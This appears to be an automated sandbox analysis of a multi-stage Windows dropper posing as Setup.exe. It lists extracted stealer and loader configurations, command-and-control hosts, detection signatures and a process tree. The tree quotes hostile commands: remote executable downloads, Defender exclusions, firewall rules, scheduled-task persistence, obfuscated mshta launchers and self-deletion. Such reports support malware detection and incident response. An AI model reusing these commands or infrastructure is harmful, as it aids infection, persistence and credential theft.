Analysis
-
max time kernel
251s -
max time network
1807s -
platform
windows10_x64 -
resource
win10-de-20211014 -
submitted
19-10-2021 08:05
General
-
Target
Setup.exe
-
Size
425KB
-
MD5
93d44fa2ceefa5dab55b3b4d89c5c3de
-
SHA1
5af7a4e78c39b15e8d94a6c8ea247c96734ecca5
-
SHA256
8bd004298abd06e9e01067f14ca55f5d5cc899c37fc03c7b0cc3eb6702c84437
-
SHA512
b481bbf8551a9d56e8161b15661ab6c08f5d024f8ccb0e842d1d2db82f80a401dd8ed3892fa8a917dcddb198c91bd5eca678093ff1b263a2194d4cc47ec65977
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Extracted
redline
205.185.119.191:60857
Extracted
vidar
41.5
937
https://mas.to/@xeroxxx
-
profile_id
937
Extracted
raccoon
a7a7651f160522c3eb3c593186fb8a026774778c
-
url4cnc
http://telegatt.top/kaba4ello
http://telegka.top/kaba4ello
http://telegin.top/kaba4ello
https://t.me/kaba4ello
Extracted
smokeloader
2020
http://gejajoo7.top/
http://sysaheu9.top/
http://directorycart.com/upload/
http://tierzahnarzt.at/upload/
http://streetofcards.com/upload/
http://ycdfzd.com/upload/
http://successcoachceo.com/upload/
http://uhvu.cn/upload/
http://japanarticle.com/upload/
http://gfdjgdfjgdhfbg.space/
http://gfhjdsghdfjg23.space/
http://gdfjgdfh4543nf.space/
http://fgdjgsdfghj4fds.space/
http://fgdgdjfgfdgdf.space/
http://fsdhjfsdhfsd.space/
http://fgdsjghdfghjdfhgd.space/
http://ryuesrseyth3.space/
http://fdsjkuhreyu4.space/
http://fdgjdfgehr4.space/
http://fgdgjhdfgdfjgd.space/
Extracted
tofsee
quadoil.ru
lakeflex.ru
Extracted
djvu
http://rlrz.org/lancer
Signatures
-
Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
-
Djvu Ransomware
Ransomware which is a variant of the STOP family.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Raccoon
Simple but powerful infostealer which was very active in 2019.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 2 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Socelars Payload 2 IoCs
-
Suspicious use of NtCreateProcessExOtherParentProcess 4 IoCs
-
Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
suricata: ET MALWARE Amadey CnC Check-In
suricata: ET MALWARE Amadey CnC Check-In
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
-
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
-
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
-
Blocklisted process makes network request 8 IoCs
-
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Executes dropped EXE 64 IoCs
-
Modifies Windows Firewall 1 TTPs
-
UPX packed file 3 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Checks BIOS information in registry 2 TTPs 14 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 5 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 64 IoCs
-
Modifies file permissions 1 TTPs 1 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Themida packer 9 IoCs
Detects Themida, an advanced Windows software protection system.
-
Accesses 2FA software files, possible credential harvesting 2 TTPs
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 5 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 7 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 12 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
-
Suspicious use of SetThreadContext 2 IoCs
-
Drops file in Program Files directory 7 IoCs
-
Drops file in Windows directory 4 IoCs
-
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 8 IoCs
-
NSIS installer 4 IoCs
-
Checks SCSI registry key(s) 3 TTPs 15 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 7 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 4 IoCs
-
Kills process with taskkill 8 IoCs
-
Modifies registry class 3 IoCs
-
Modifies registry key 1 TTPs 2 IoCs
-
Runs net.exe
-
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: MapViewOfSection 11 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 5 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
outlook_office_path 1 IoCs
-
outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Setup.exe"1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Pictures\Adobe Films\xeEw11gwst0fkXofh5d85wTx.exe"C:\Users\Admin\Pictures\Adobe Films\xeEw11gwst0fkXofh5d85wTx.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\Pictures\Adobe Films\ov3fHpSzG9oFx6cdzkERxS7K.exe"C:\Users\Admin\Pictures\Adobe Films\ov3fHpSzG9oFx6cdzkERxS7K.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\4756.tmp\4757.tmp\4758.bat "C:\Users\Admin\Pictures\Adobe Films\ov3fHpSzG9oFx6cdzkERxS7K.exe""3⤵
-
C:\Users\Admin\AppData\Local\Temp\4756.tmp\4757.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\4756.tmp\4757.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\4756.tmp\4757.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\4756.tmp\4757.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/899922141728886806/899922156077596692/11.exe" "11.exe" "" "" "" "" "" ""4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\4756.tmp\4757.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\4756.tmp\4757.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/899922141728886806/899922177439191050/Transmissibility.exe" "Transmissibility.exe" "" "" "" "" "" ""4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\10841\11.exe11.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\10841\Transmissibility.exeTransmissibility.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\4756.tmp\4757.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\4756.tmp\4757.tmp\extd.exe "" "" "" "" "" "" "" "" ""4⤵
-
C:\Users\Admin\Pictures\Adobe Films\EFJdNYHjJ49sjLJwK4BnTbAE.exe"C:\Users\Admin\Pictures\Adobe Films\EFJdNYHjJ49sjLJwK4BnTbAE.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\3fcHdKzTfqv3CT6edHB3pgwO.exe"C:\Users\Admin\Pictures\Adobe Films\3fcHdKzTfqv3CT6edHB3pgwO.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\Adobe Films\ZYTTZvTjfNQKR2odpduE7e6V.exe"C:\Users\Admin\Pictures\Adobe Films\ZYTTZvTjfNQKR2odpduE7e6V.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3260 -s 9683⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\AbR7TZXbBVNpeCrmegTpEi9c.exe"C:\Users\Admin\Pictures\Adobe Films\AbR7TZXbBVNpeCrmegTpEi9c.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"3⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Company\NewProduct\inst3.exe"C:\Program Files (x86)\Company\NewProduct\inst3.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\k8k8wxXjfUpeIXlPi_wwZUXx.exe"C:\Users\Admin\Pictures\Adobe Films\k8k8wxXjfUpeIXlPi_wwZUXx.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\Adobe Films\UNn8rF6JNcKGgeWhrAoHnhsK.exe"C:\Users\Admin\Pictures\Adobe Films\UNn8rF6JNcKGgeWhrAoHnhsK.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in Windows directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes3⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes3⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM3⤵
- Creates scheduled task(s)
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in Windows directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\4⤵
- Blocklisted process makes network request
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵
-
C:\Users\Admin\Pictures\Adobe Films\dNR9GzJtquIpqHAAQDEQKiCc.exe"C:\Users\Admin\Pictures\Adobe Films\dNR9GzJtquIpqHAAQDEQKiCc.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe4⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\hnIgIshcqBcfNW7qZq6J9Ibf.exe"C:\Users\Admin\Pictures\Adobe Films\hnIgIshcqBcfNW7qZq6J9Ibf.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\P6IM15FYTnFWYGYBlTaNAQNV.exe"C:\Users\Admin\Pictures\Adobe Films\P6IM15FYTnFWYGYBlTaNAQNV.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1996 -s 6603⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1996 -s 6763⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1996 -s 6963⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1996 -s 7323⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1996 -s 8483⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\l3igHLv4wrdFGbDIGj2a6ZlN.exe"C:\Users\Admin\Pictures\Adobe Films\l3igHLv4wrdFGbDIGj2a6ZlN.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\Adobe Films\VHmeMVDoBYofuqGBZLun8iZf.exe"C:\Users\Admin\Pictures\Adobe Films\VHmeMVDoBYofuqGBZLun8iZf.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Pictures\Adobe Films\VHmeMVDoBYofuqGBZLun8iZf.exe"C:\Users\Admin\Pictures\Adobe Films\VHmeMVDoBYofuqGBZLun8iZf.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Adobe Films\7wTOP5xOsIHTorBSiqyxCKfI.exe"C:\Users\Admin\Pictures\Adobe Films\7wTOP5xOsIHTorBSiqyxCKfI.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 7wTOP5xOsIHTorBSiqyxCKfI.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\7wTOP5xOsIHTorBSiqyxCKfI.exe" & del C:\ProgramData\*.dll & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 7wTOP5xOsIHTorBSiqyxCKfI.exe /f4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Pictures\Adobe Films\LrPNo0ksV0sD0bBgiJZ3c3DL.exe"C:\Users\Admin\Pictures\Adobe Films\LrPNo0ksV0sD0bBgiJZ3c3DL.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Users\Admin\Documents\pyflG5FfHzPj8pAPJ5WotMgv.exe"C:\Users\Admin\Documents\pyflG5FfHzPj8pAPJ5WotMgv.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\HIJpnBDWwQL8HQX6heuOz6pE.exe"C:\Users\Admin\Pictures\Adobe Films\HIJpnBDWwQL8HQX6heuOz6pE.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\V58wsCmspK2T1T22TACWZJED.exe"C:\Users\Admin\Pictures\Adobe Films\V58wsCmspK2T1T22TACWZJED.exe" /mixtwo4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1500 -s 8285⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\FZzLr2tjqX1Jir6RqytEFraR.exe"C:\Users\Admin\Pictures\Adobe Films\FZzLr2tjqX1Jir6RqytEFraR.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Adobe Films\yJF_LsprLnKYzCsvUDnA8T0K.exe"C:\Users\Admin\Pictures\Adobe Films\yJF_LsprLnKYzCsvUDnA8T0K.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=15⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--XpjC5"6⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1f8,0x1fc,0x200,0x1d4,0x204,0x7ffbe3fcdec0,0x7ffbe3fcded0,0x7ffbe3fcdee07⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x14c,0x150,0x154,0x128,0x158,0x7ff653bb9e70,0x7ff653bb9e80,0x7ff653bb9e908⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1624,13382773653603593319,856650565539337023,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5720_335803455" --mojo-platform-channel-handle=1748 /prefetch:87⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1624,13382773653603593319,856650565539337023,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5720_335803455" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1676 /prefetch:27⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\KFxXQ6SLpVozsLbeEbJvKcBO.exe"C:\Users\Admin\Pictures\Adobe Films\KFxXQ6SLpVozsLbeEbJvKcBO.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\Xe69stRPhDXfGhprTq2CAk6x.exe"C:\Users\Admin\Pictures\Adobe Films\Xe69stRPhDXfGhprTq2CAk6x.exe"4⤵
- Executes dropped EXE
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4632 -s 15165⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\8FsmloAVEPbzDjS_YK8iQVCC.exe"C:\Users\Admin\Pictures\Adobe Films\8FsmloAVEPbzDjS_YK8iQVCC.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\8FsmloAVEPbzDjS_YK8iQVCC.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\8FsmloAVEPbzDjS_YK8iQVCC.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\8FsmloAVEPbzDjS_YK8iQVCC.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\8FsmloAVEPbzDjS_YK8iQVCC.exe" ) do taskkill -im "%~NxK" -F4⤵
-
C:\Users\Admin\AppData\Local\Temp\8pWB.eXE8pWB.eXe /pO_wtib1KE0hzl7U9_CYP5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F7⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ( "WSCRIPt.SheLl" ). rUn ( "C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " , 0 , TruE ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "8⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"8⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y .\N3V4H8H.SXY8⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "8FsmloAVEPbzDjS_YK8iQVCC.exe" -F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\Adobe Films\Kk7BKQEt0gSMkeq6PwISSEHn.exe"C:\Users\Admin\Pictures\Adobe Films\Kk7BKQEt0gSMkeq6PwISSEHn.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=13⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--XpjC5"4⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1f4,0x1f8,0x1fc,0x1d0,0x200,0x7ffbe3fcdec0,0x7ffbe3fcded0,0x7ffbe3fcdee05⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff653bb9e70,0x7ff653bb9e80,0x7ff653bb9e906⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1696,14852152980587218817,6929074892959931828,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5496_536619832" --mojo-platform-channel-handle=1760 /prefetch:85⤵
- Executes dropped EXE
- Loads dropped DLL
-
